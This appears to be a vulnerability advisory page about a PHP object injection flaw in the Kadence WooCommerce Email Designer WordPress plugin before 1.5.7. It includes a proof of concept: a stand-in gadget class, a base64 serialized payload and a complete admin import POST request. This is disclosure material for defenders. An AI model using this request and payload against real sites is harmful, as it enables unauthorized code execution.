Lucene search

K
wpexploitNguyen Duy Quoc KhanhWPEX-ID:39514705-C887-4A02-A77B-36E1DCCA8F5D
HistoryOct 03, 2022 - 12:00 a.m.

Kadence WooCommerce Email Designer < 1.5.7 - Admin+ PHP Objection Injection

2022-10-0300:00:00
Nguyen Duy Quoc Khanh
199
woocommerce email designer
admin
php injection
vulnerability
gadget chain
arbitrary deserialization
base64 encode
customization
security exploit

0.001 Low

EPSS

Percentile

43.1%

The plugin unserialises the content of an imported file, which could lead to PHP object injections issues when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.

To simulate a gadget chain, put the following code in a plugin

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the following content and import it via the plugin: Tzo0OiJFdmlsIjowOnt9Ow== which is base64 encode of: O:4:"Evil":0:{};

POST /wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------257490022338836228831019117590
Content-Length: 686
Origin: http://localhost
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kadence-woomail-import-file"; filename="import.dat"
Content-Type: application/octet-stream

Tzo0OiJFdmlsIjowOnt9Ow==
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="kt-woomail-import"

a4f4eba906
-----------------------------257490022338836228831019117590
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/customize.php?kt-woomail-customize=1&url=http%3A%2F%2Flocalhost%2Fwordpress%2F%3Fkt-woomail-preview%3D1
-----------------------------257490022338836228831019117590--

0.001 Low

EPSS

Percentile

43.1%

Related for WPEX-ID:39514705-C887-4A02-A77B-36E1DCCA8F5D